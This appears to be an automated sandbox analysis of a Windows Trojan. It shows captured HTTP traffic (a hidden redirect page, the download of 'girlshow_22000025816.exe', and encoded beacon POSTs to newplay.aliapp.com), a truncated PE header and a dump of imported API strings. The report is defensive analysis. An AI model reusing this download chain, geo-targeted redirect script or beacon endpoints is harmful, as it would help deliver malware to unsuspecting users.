GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:28 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.mmstat.com..Set-Cookie: sca=992f74ca; path=/; domain=.cnzz.mmstat.com..Set-Cookie: atpsida=c37835c3c610c88d0b49cb8d_1430088508; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.mmstat.com..Location: http://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..
GET /stat.htm?id=5887135&r=&lg=en-us&ntime=none&cnzz_eid=1987065364-1430088506-&showp=1276x846&t=&h=1&rnd=1967005646 HTTP/1.1
Accept: */*
Referer: hXXp://dl.ntfst.cn/tc.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: oz.cnzz.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Tengine/1.4.6
Date: Sun, 26 Apr 2015 22:48:27 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT
Connection: close
Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..
GET /re58/girlshow_22000025816.exe HTTP/1.1
Accept: */*
Connection: Keep-Alive
Cache-Control: no-cache
Host: c.img001.com
HTTP/1.1 200 OK
Server: DnionOS/1.2.1.3
Date: Fri, 24 Apr 2015 20:00:27 GMT
Content-Type: application/octet-stream
Content-Length: 1060312
Last-Modified: Fri, 24 Apr 2015 02:29:07 GMT
Accept-Ranges: bytes
Age: 205288
Via: ZJHZ-235-125 (DLC-3.0), fjpt_255_204 (DLC-3.0)
Connection: keep-alive
Warning: 113 DLC-3.0
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J... ... ... ...#... ..j#... ....... ...#... ..j#... ... ...)...'... ...'..J ...'..r ... ... ...'... ..Rich. ..................PE..L.....8U.....................`....................@..........................`..................................................@.......................................................................H...................H...@....................text...3........................... ..`.rdata...>.......@..................@..@.data....p...@...0...@..............@....rsrc................p..............@..@.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<< skipped >>>
POST /Count/Index HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: your app agent name
Host: newplay.aliapp.com
Content-Length: 791
Cache-Control: no-cache
count=r0ry7WeHxTcfTfa3kI0AWLJL6USqnfnJtyYJqdFCy4tL2z/MmAfScDkaSQKJBbCQLVQSyMBdNmWKQSCpyWRRXWEQJreN1l6HfJJOKROTq/ wGL/keHyHCcAsG3kJUWofQtuUr8KTMzsr2mZ8SSBVQF1Wk/1CYgDEm9hBEKQ1lRnb0m76vOnVNbAEUHc7wKlkhodCoDqpjcdYIAjW90xnSB/Hf mIzymlAsSBuecVGCxo21Zk4xVotuIA5tQe69LcBE5SFTqXZfZS5VjoippXFxvJ84JwZFrN/f4gmt0 R7B/H2t0Rf1D6Wn7L0xlQfew8obduXaY2Kg=&key=OInvVe n19Vw4MzgtIfoo0hPeGsR fl5VginVA Ylwy5Gq0x2gifmKiLMFB5GUaR8L3Mt2lvQjW3PlMvJ1NZFUuVp0neOp5gowFTH SZv68iiJnmXVIsxa5YC3shyKqPGJz3mjZTDY3mSlJh8welFdh5Ef4ZAg2HRMQPfveMTFTfyhp/vn1woStTgQ3uEpZRBEEHe7XnGotHOgXqwW9PF9nttmHV48c80czVAVqXlZw0YUZ1Ihk4hYpRASiIadxNrdoubWfAZGadKJO92aWPz9e0 PhpurdMEBPG4fZDsE8R6r5M9NOokrXxIxf12xd3VzLLzuLSrTnrrbW8KsO0sJucI5g6/r4Bdrxyrs7RKb3NDBHcdbY5GQYnE6xf71J7HdUBSS59r5ROtWJOycRaBbD3TN8v3U90dpH5Cpgzu2dHba89yU3oOeEtgE nsr5y
HTTP/1.1 200 OK
Server: Tengine
Date: Sun, 26 Apr 2015 22:48:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Set-Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
0..HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:21 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..Set-Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6; path=/..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0..Pragma: no-cache..0......
POST /Count/Index/soft/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: your app agent name
Host: newplay.aliapp.com
Content-Length: 87
Cache-Control: no-cache
Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6
soft=b4CWjRM1OPo=&uuid=G QYNwPHiC92o5YCvH5 OSldvWVuAPX1WD9dSFOm0JnAe95n5yCw/GdLrnV/XwON
HTTP/1.1 200 OK
Server: Tengine
Date: Sun, 26 Apr 2015 22:48:33 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
0..HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:33 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0..Pragma: no-cache..0..
GET /iplookup/iplookup.php?format=js HTTP/1.1
Accept: */*
Referer: hXXp://dl.ntfst.cn/tc.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: int.dpool.sina.com.cn
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Tengine
Date: Sun, 26 Apr 2015 22:48:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 175
Connection: close
DPOOL_HEADER: tyr105
SINA-LB:aGEuMTIzLmcyLnlmLmxiLnNpbmFub2RlLmNvbQ==
SINA-TS:OThmMjk2Y2UgMCAwIDAgMyAwCg==
var remote_ip_info = {"ret":1,"start":-1,"end":-1,"country":"\u4e4c\u514b\u5170","province":"Kharkivs'ka Oblast'","city":"Kharkov","district":"","isp":"","type":"","desc":""};..
GET /core.php?web_id=5887135&t=z HTTP/1.1
Accept: */*
Referer: hXXp://dl.ntfst.cn/tc.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: c.cnzz.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Content-Length: 748
Connection: keep-alive
Date: Sun, 26 Apr 2015 22:48:27 GMT
Last-Modified: Sun, 26 Apr 2015 22:48:27 GMT
Expires: Sun, 26 Apr 2015 23:03:27 GMT
Via: cache36.l2de1[568,200-0,M], cache44.l2de1[580,0], cache10.de1[580,200-0,M], cache4.de1[581,0]
X-Cache: MISS TCP_REFRESH_MISS dirn:2:403028701
X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:27 GMT
X-Swift-CacheTime: 900
!function(){var p,q,r,a=encodeURIComponent,b="5887135",c="",d="",e="online_v3.php",f="z6.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.callRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScriptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><img border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a href='" q "' target=_blank title='" j "'>" j "</a>",k.createIcon([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application/javascript..Content-Length: 748..Connection: keep-alive..Date: Sun, 26 Apr 2015 22:48:27 GMT..Last-Modified: Sun, 26 Apr 2015 22:48:27 GMT..Expires: Sun, 26 Apr 2015 23:03:27 GMT..Via: cache36.l2de1[568,200-0,M], cache44.l2de1[580,0], cache10.de1[580,200-0,M], cache4.de1[581,0]..X-Cache: MISS TCP_REFRESH_MISS dirn:2:403028701..X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:27 GMT..X-Swift-CacheTime: 900..!function(){var p,q,r,a=encodeURIComponent,b="5887135",c="",d="",e="online_v3.php",f="z6.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)
<<< skipped >>>
GET /tc.html HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: dl.ntfst.cn
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 04:59:37 GMT
Server: nginx/1.4.4
Content-Type: text/html
Content-Length: 573
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 2592000
Cache-Control: public, max-age=31536000
Content-Disposition: inline; filename="tc.html"
Content-Transfer-Encoding: binary
ETag: "FuGzggHDk-tmrBs8MwFGUiOt7X_F"
X-Log: mc.g/404;mc.g:2;RS:2;mc.s;IO:4
X-Reqid: bnQAADuR_XVKUNYT
X-Whom: nb263
X-Qiniu-Zone: 0
Age: 64128
X-Via: 1.1 tzh62:8080 (Cdn Cache Server V2.0), 1.1 sxdx59:3 (Cdn Cache Server V2.0)
Connection: keep-alive
<div style="display:none">..<script src="hXXp://v1.cnzz.com/stat.php?id=5887135&web_id=5887135" language="JavaScript"></script>..<script language="javascript" type="text/javascript" src="http://js.users.51.la/17440728.js"></script>..</div>.. <script src="hXXp://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" type="text/javascript" charset=gb2312></script> .. <script>var gj=remote_ip_info["country"];if(gj.indexOf("\u4e2d\u56fd")>=0){document.writeln("<meta http-equiv=\"refresh\" content=\"0;url=hXXp://VVV.51weibo.com/tg/1.html?from=60001120223\">");}</script>..HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 04:59:37 GMT..Server: nginx/1.4.4..Content-Type: text/html..Content-Length: 573..Accept-Ranges: bytes..Access-Control-Allow-Origin: *..Access-Control-Max-Age: 2592000..Cache-Control: public, max-age=31536000..Content-Disposition: inline; filename="tc.html"..Content-Transfer-Encoding: binary..ETag: "FuGzggHDk-tmrBs8MwFGUiOt7X_F"..X-Log: mc.g/404;mc.g:2;RS:2;mc.s;IO:4..X-Reqid: bnQAADuR_XVKUNYT..X-Whom: nb263..X-Qiniu-Zone: 0..Age: 64128..X-Via: 1.1 tzh62:8080 (Cdn Cache Server V2.0), 1.1 sxdx59:3 (Cdn Cache Server V2.0)..Connection: keep-alive..<div style="display:none">..<script src="hXXp://v1.cnzz.com/stat.php?id=5887135&web_id=5887135" language="JavaScript"></script>..<script language="javascript" type="text/javascript" src="hXXp://js.users.51.la/17440728.js"></script>..</div>.. <script src="hXXp://int
<<< skipped >>>
GET /c/girlshow_22000025816.exe HTTP/1.1
Accept: */*
Host: download.re58.cn
Cache-Control: no-cache
HTTP/1.1 302 Moved Temporarily
Date: Sun, 26 Apr 2015 22:48:26 GMT
Server: nginx
Content-Type: application/octet-stream
Content-Length: 0
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Disposition: attachment;filename="girlshow_22000025816.exe"
Location: hXXp://c.img001.com/re58/girlshow_22000025816.exe
Set-Cookie: rec_id=1:22000025816:0; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT
Set-Cookie: HMAFROMURL=; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT
Set-Cookie: GUAGUAACOUNTID=badu_13034453_1430087393; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT
X-Via: 1.1 zhenjiang79:8109 (Cdn Cache Server V2.0), 1.1 kf50:9 (Cdn Cache Server V2.0)
Connection: keep-alive
HTTP/1.1 302 Moved Temporarily..Date: Sun, 26 Apr 2015 22:48:26 GMT..Server: nginx..Content-Type: application/octet-stream..Content-Length: 0..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..Content-Disposition: attachment;filename="girlshow_22000025816.exe"..Location: hXXp://c.img001.com/re58/girlshow_22000025816.exe..Set-Cookie: rec_id=1:22000025816:0; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..Set-Cookie: HMAFROMURL=; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..Set-Cookie: GUAGUAACOUNTID=badu_13034453_1430087393; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..X-Via: 1.1 zhenjiang79:8109 (Cdn Cache Server V2.0), 1.1 kf50:9 (Cdn Cache Server V2.0)..Connection: keep-alive..
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_2040:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
MFC42.DLL
MFC42.DLL
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
WinExec
WinExec
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
MSVCP60.dll
MSVCP60.dll
NETAPI32.dll
NETAPI32.dll
HttpQueryInfoA
HttpQueryInfoA
InternetOpenUrlA
InternetOpenUrlA
WININET.dll
WININET.dll
127.0.0.1
127.0.0.1
%s?%d
%s?%d
%s\%s
%s\%s
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
X-X-X-X-X-X
X-X-X-X-X-X
Windows 10
Windows 10
Windows 8.1
Windows 8.1
Windows 8
Windows 8
Windows 7
Windows 7
Windows Vista
Windows Vista
Windows 2003
Windows 2003
Windows XP
Windows XP
Windows 2000
Windows 2000
&key=
&key=
%d%d%d%d%d%d%d%d%d
%d%d%d%d%d%d%d%d%d
%Y%m%d%H%M%S
%Y%m%d%H%M%S
z.ico
z.ico
iY!hZ!hX"gV%hV%gV$fV$fW#fW#gW$gX$eX!gX!gX"gX#gY$fX$eU$gV$fW$eX"fY!dV!aU%`T']R'[T%\R&\P&[M%ZK%UJ#QI"PH"PG"PG#MG#NF#LF"MF"MF"KE"KE#JC%JB$JA%JA$JB$JA$JA$JA$IA$JA%KA%LC&KB%LD%MD%MD$NE%OE$PG'RJ(VM'VO%WR$XQ'ZP*\R aY c]*f_)g`)kf nm rq.vu1|y4
iY!hZ!hX"gV%hV%gV$fV$fW#fW#gW$gX$eX!gX!gX"gX#gY$fX$eU$gV$fW$eX"fY!dV!aU%`T']R'[T%\R&\P&[M%ZK%UJ#QI"PH"PG"PG#MG#NF#LF"MF"MF"KE"KE#JC%JB$JA%JA$JB$JA$JA$JA$IA$JA%KA%LC&KB%LD%MD%MD$NE%OE$PG'RJ(VM'VO%WR$XQ'ZP*\R aY c]*f_)g`)kf nm rq.vu1|y4
tw|tuztqyqpyqovpmuoltnjsmhqngqmfnmgllfjlfijfjifiheghcfhcggbfgbggchgbgf`gf`hgahf`gd_gc_ec`ee`de^ce^ce_be^cc_cc_bcbbaa``^__^`_^a_^`^^`]^`]^`]`a\bb^_b]_c^`d^_d[`e\af]^d[_eZ_eY^eXi\!i\#j\$j\$j\&l](m](n]'o_(o^)n`)na)l^(na)n_*l]*k](k]&k^%j^$i^%h[&fX'dV)aW*]U)\S&^R&ZP'ZN&ZM$YM$WK%TI%TH$SI$QG#RH$QG"PG#PG%OF$NF%OF&NF&NF&OE&OE&OF$PF$RG%QF%RG$SH%UK'TJ&UL%VM&XP(ZQ)\R)^V)^Y'`Z)c_)c`*fb.id2kh3om2to3wq5{u9~y;
tw|tuztqyqpyqovpmuoltnjsmhqngqmfnmgllfjlfijfjifiheghcfhcggbfgbggchgbgf`gf`hgahf`gd_gc_ec`ee`de^ce^ce_be^cc_cc_bcbbaa``^__^`_^a_^`^^`]^`]^`]`a\bb^_b]_c^`d^_d[`e\af]^d[_eZ_eY^eXi\!i\#j\$j\$j\&l](m](n]'o_(o^)n`)na)l^(na)n_*l]*k](k]&k^%j^$i^%h[&fX'dV)aW*]U)\S&^R&ZP'ZN&ZM$YM$WK%TI%TH$SI$QG#RH$QG"PG#PG%OF$NF%OF&NF&NF&OE&OE&OF$PF$RG%QF%RG$SH%UK'TJ&UL%VM&XP(ZQ)\R)^V)^Y'`Z)c_)c`*fb.id2kh3om2to3wq5{u9~y;
wu~wt|tt|urztrytpwrpvpnuolupjspjpphnnfnmgpmiolglkfklejkchjehjdhjdhhdhhdhhcigbgfdggbgeahebjfcgfbfe`ee_dcaedbdeaaa`__`^`__``a``b^`a]_b^`d^be^cf_ag_ag_bg]dg^bh^ci_ah^bh^dh^cg]ma&na&nc'nc)pe qd,sc td,ue-uf-sf sd qc ob ob o`*na*ma&k^$h]&g]*fZ,dV bV*_U(^T']Q'[O'YN&YN&XM$YL%XK&WJ%VH$VH$VI$WK%UI&SG&SG'RI(SH(UH(TI'TJ&TI(TJ&UL'WN(XM'WM&YP%[R&\R(^S)`T)aW f].f_/g`.hc-ke/mg1oi2rm4so5wt8xw
wu~wt|tt|urztrytpwrpvpnuolupjspjpphnnfnmgpmiolglkfklejkchjehjdhjdhhdhhdhhcigbgfdggbgeahebjfcgfbfe`ee_dcaedbdeaaa`__`^`__``a``b^`a]_b^`d^be^cf_ag_ag_bg]dg^bh^ci_ah^bh^dh^cg]ma&na&nc'nc)pe qd,sc td,ue-uf-sf sd qc ob ob o`*na*ma&k^$h]&g]*fZ,dV bV*_U(^T']Q'[O'YN&YN&XM$YL%XK&WJ%VH$VH$VI$WK%UI&SG&SG'RI(SH(UH(TI'TJ&TI(TJ&UL'WN(XM'WM&YP%[R&\R(^S)`T)aW f].f_/g`.hc-ke/mg1oi2rm4so5wt8xw
yw~yv~xu}wt|vszusytpyqpwrournsqkrpiqpgppgopgongoogmoflnelnfloflmfkleikdikdgiehidghdhhdjighhejgakfbjechecfe`cb_a_ac``c``aa`aa_a``ca`caafacf`cfadg`di_fkadk_el`ek_fk`gk`gjatg tg,tj.th-vj/vk/ui.vi.uf.uf/ug.ue-sc,qd*ob(ob)m`)i])g](f[*eX*eW)aV)^U(^S(^Q(ZO'XM%YL$XK$WI$VI$VJ$XJ$VH$XJ&XJ%VJ'UJ(UI'UI'VJ(VK(VL(WM(WN(VN)WO)ZP*[Q*[Q [S)\T(`V*cW.eY/h]/i_0ka0ld1me1qg4uk8wo:xr;{u
yw~yv~xu}wt|vszusytpyqpwrournsqkrpiqpgppgopgongoogmoflnelnfloflmfkleikdikdgiehidghdhhdjighhejgakfbjechecfe`cb_a_ac``c``aa`aa_a``ca`caafacf`cfadg`di_fkadk_el`ek_fk`gk`gjatg tg,tj.th-vj/vk/ui.vi.uf.uf/ug.ue-sc,qd*ob(ob)m`)i])g](f[*eX*eW)aV)^U(^S(^Q(ZO'XM%YL$XK$WI$VI$VJ$XJ$VH$XJ&XJ%VJ'UJ(UI'UI'VJ(VK(VL(WM(WN(VN)WO)ZP*[Q*[Q [S)\T(`V*cW.eY/h]/i_0ka0ld1me1qg4uk8wo:xr;{u
zv}vt{vrztpxsqxtpwsovsmuqktpjtpirohpohongnngmngloglpfmpcmnelneknelmckldjleildgkfglehibgfcihdhgdfecedbebbhbbibbgbbfbaeaceacedcfcehcfhdghcgjcglcflbfkbekbglahkbgkcxl1yn3{p0yp.yn0yn2ym2xj0ud/ra/sa0rb-rb*na(l^)j_ f] fZ,fY dW*aU(aU(]S(\Q&[O'ZN'XK$XK$WJ#VI#VH$VH%SH$TI&UG'TH(VI'UI(SJ(TK(UK*TK(UM(VN)WN)VO*YO [P \Q ]Q ]S*^U*aW,eZ.h\/g_0ic1jc3lc4oe2qg3sj4wk8ym
zv}vt{vrztpxsqxtpwsovsmuqktpjtpirohpohongnngmngloglpfmpcmnelneknelmckldjleildgkfglehibgfcihdhgdfecedbebbhbbibbgbbfbaeaceacedcfcehcfhdghcgjcglcflbfkbekbglahkbgkcxl1yn3{p0yp.yn0yn2ym2xj0ud/ra/sa0rb-rb*na(l^)j_ f] fZ,fY dW*aU(aU(]S(\Q&[O'ZN'XK$XK$WJ#VI#VH$VH%SH$TI&UG'TH(VI'UI(SJ(TK(UK*TK(UM(VN)WN)VO*YO [P \Q ]Q ]S*^U*aW,eZ.h\/g_0ic1jc3lc4oe2qg3sj4wk8ym
{x~zuzxsxxrwxqvvouumvtlusluqltqispiqohqogrohonhmohmnhloglpfkphmngnnelmeklekmfkmejmehlefkcfjcghbefccddgfdifdgecgebfdbfddgefhfehefieggfgheijegiegifikghkfjmdjkehldyo2zp3yo1xn/yo1xm1xj0vf/ra-ra.pa p_(n]'j\*i[,fY)eX*fV*dS)_S(\R'\O&\N%]O&[M%YM%YL$WI$VI#VI#VH$WH%UH(SH'TI&UH&UG(UJ(UK(VL(VK)VL)UL(VN*XO YO*[P \Q*^R*^S*_U*bW,eY-g[,h\.i`1ic3jd4oe3qe3pe3sg4th7uh8vh8vi9xi9zk9zm:xm:{o>~rA}qB|qC~rE
{x~zuzxsxxrwxqvvouumvtlusluqltqispiqohqogrohonhmohmnhloglpfkphmngnnelmeklekmfkmejmehlefkcfjcghbefccddgfdifdgecgebfdbfddgefhfehefieggfgheijegiegifikghkfjmdjkehldyo2zp3yo1xn/yo1xm1xj0vf/ra-ra.pa p_(n]'j\*i[,fY)eX*fV*dS)_S(\R'\O&\N%]O&[M%YM%YL$WI$VI#VI#VH$WH%UH(SH'TI&UH&UG(UJ(UK(VL(VK)VL)UL(VN*XO YO*[P \Q*^R*^S*_U*bW,eY-g[,h\.i`1ic3jd4oe3qe3pe3sg4th7uh8vh8vi9xi9zk9zm:xm:{o>~rA}qB|qC~rE
|x~|w|{vz{tyzrxypuvmutnssnstlpskqsjqqeppdnneoogmpfmphmoimogmohmnhlohknglmgllglofkneklfjneilbijbghcehdfhdffddfebgdcgdegeghghffhggggeggfhgefegeeigfiggigfigghfgihgwi1wi0vh1ti0th0sg/qc-qa,qa*p_(n])l]*j\ k],hY*fV'fU)eU)aS'^R%]P&\O&[N&[M&]N'[O%YQ$YN%XL%WK$WJ%XJ&XJ&WI&VJ&WI%VJ&WJ'XK'XL'ZN'[O&ZP&YP&]S(_T)`U)`V)bX*bY*dZ f[ e\,e[,h^.k`1ka3lc1nd0oc1pd1sd4qc5pd5re5sd5sc4sd2vf6wgvh>wh?ug=vg;vj8vl7tk6sk7tj7tm7sm7sk7sk9tl:sl9tl;vm;xm:xo;wp={r@|s@}u@{t@|u@~xA
|x~|w|{vz{tyzrxypuvmutnssnstlpskqsjqqeppdnneoogmpfmphmoimogmohmnhlohknglmgllglofkneklfjneilbijbghcehdfhdffddfebgdcgdegeghghffhggggeggfhgefegeeigfiggigfigghfgihgwi1wi0vh1ti0th0sg/qc-qa,qa*p_(n])l]*j\ k],hY*fV'fU)eU)aS'^R%]P&\O&[N&[M&]N'[O%YQ$YN%XL%WK$WJ%XJ&XJ&WI&VJ&WI%VJ&WJ'XK'XL'ZN'[O&ZP&YP&]S(_T)`U)`V)bX*bY*dZ f[ e\,e[,h^.k`1ka3lc1nd0oc1pd1sd4qc5pd5re5sd5sc4sd2vf6wgvh>wh?ug=vg;vj8vl7tk6sk7tj7tm7sm7sk7sk9tl:sl9tl;vm;xm:xo;wp={r@|s@}u@{t@|u@~xA
x}~v{~v{}sz{pzyrxypvwnuuotvntvjsuhpthqthqshpsgpqhqqhqrhqshqphpohpohpniooinofmlelmeklcilbijaijbhjcgidhgdehccicehdeicdhdcfcegcfgdegcdfcdfcefcceccecdfdcgdago`-o_.p_/p_.o`-o`,n_(o^(n^(l] l].j]-j]-k].h[ fY(fY*fY*dV(bV'bV'aT'_T'_T&]R&]S$]T$^S%]Q&\P&ZO&[O'[O&[O%\O&\P&]R%\R%^T&`U%bU%cV$bX%dY%g\(g\)h\)l_ ka i` i` i`,j`-lb/lb.nc/pg/rg/sh0pg0qf1rg3qg2tg3qe2se4ug5uh8vg:yi>wh
x}~v{~v{}sz{pzyrxypvwnuuotvntvjsuhpthqthqshpsgpqhqqhqrhqshqphpohpohpniooinofmlelmeklcilbijaijbhjcgidhgdehccicehdeicdhdcfcegcfgdegcdfcdfcefcceccecdfdcgdago`-o_.p_/p_.o`-o`,n_(o^(n^(l] l].j]-j]-k].h[ fY(fY*fY*dV(bV'bV'aT'_T'_T&]R&]S$]T$^S%]Q&\P&ZO&[O'[O&[O%\O&\P&]R%\R%^T&`U%bU%cV$bX%dY%g\(g\)h\)l_ ka i` i` i`,j`-lb/lb.nc/pg/rg/sh0pg0qf1rg3qg2tg3qe2se4ug5uh8vg:yi>wh
u{|t{ztzzpyynyzoyyoxxmwwnwxlvxmuvnuvkuujvukuukvtiurhsohqnhpofnmekkcijbhjahjbhjbhj`fhafiafj`dj^cj^aj`_i__h_^h_^h^`h]`h]ag\ag]`g^ag^bf^aehX)hV*iV jW jX)iZ'iZ'iY(gZ*h\ i\,h\,i],i\/i] f])f\)g\*g\)g[)f\)f\)fZ(dY'dZ&dY(dX(dX'dW'dW'eZ'eY(dX&e[&f\&h\&i^&j_&jb(lc*oe qf*rg tj vk.wk.xm/yp/xo.ul/xm0yo/yq0zr2zq3zr4}s4}t4}s4{r4{q3|r4|q2|r2}s6}r9|s9
u{|t{ztzzpyynyzoyyoxxmwwnwxlvxmuvnuvkuujvukuukvtiurhsohqnhpofnmekkcijbhjahjbhjbhj`fhafiafj`dj^cj^aj`_i__h_^h_^h^`h]`h]ag\ag]`g^ag^bf^aehX)hV*iV jW jX)iZ'iZ'iY(gZ*h\ i\,h\,i],i\/i] f])f\)g\*g\)g[)f\)f\)fZ(dY'dZ&dY(dX(dX'dW'dW'eZ'eY(dX&e[&f\&h\&i^&j_&jb(lc*oe qf*rg tj vk.wk.xm/yp/xo.ul/xm0yo/yq0zr2zq3zr4}s4}t4}s4{r4{q3|r4|q2|r2}s6}r9|s9
ir~is~ir~hq}go}fo}fp|fn{em{cn{amzal{\jxYhtYiuXitVfrUcrVdqVcoUdpTcpRapRbnPbmOblPclObmP`lQ`kP`iP_iQ^iQ]jP\jO\jP[jP]kP^kQ\jLE$MF&NF%NG%PE&QG&RI%TI%TI%XL&YN(YO(]Q)\T)^T)dY)f[)g\*j_.ka mc*pd.qd1tg3xn5zs8
ir~is~ir~hq}go}fo}fp|fn{em{cn{amzal{\jxYhtYiuXitVfrUcrVdqVcoUdpTcpRapRbnPbmOblPclObmP`lQ`kP`iP_iQ^iQ]jP\jO\jP[jP]kP^kQ\jLE$MF&NF%NG%PE&QG&RI%TI%TI%XL&YN(YO(]Q)\T)^T)dY)f[)g\*j_.ka mc*pd.qd1tg3xn5zs8
gs|eq|fp}go~en~en~en{cnzcn|bm{`lzbm{am|_lz^kz]jzZgwYivYiwYgwWeuVerTeqVdsTbsQbqSbqTbqSarQbqOanO`nN_nOamPcmOalN_kO`mN_lN^kP]kO]kO^lO^lME'OF(PG%NF$OF%PF&QG%SI'UI&VJ%WL'XN(\Q)^S(^U)bX*fZ fZ i]-k`,lc(pc-se2ui3yn6|r9
gs|eq|fp}go~en~en~en{cnzcn|bm{`lzbm{am|_lz^kz]jzZgwYivYiwYgwWeuVerTeqVdsTbsQbqSbqTbqSarQbqOanO`nN_nOamPcmOalN_kO`mN_lN^kP]kO]kO^lO^lME'OF(PG%NF$OF%PF&QG%SI'UI&VJ%WL'XN(\Q)^S(^U)bX*fZ fZ i]-k`,lc(pc-se2ui3yn6|r9
uR~tS}sU|qTxnRwlQxjOuiNrfNpcNn_Nn`Nl`Ml_Lj`Kh_Jh]Jh]Ii\Hf[GeYEeYEeYEdYFfYGfYGeXGdWFeXEg\Fh_Hg`GicHibGjcGmeIniHokJtnMxqO|rQ~uR
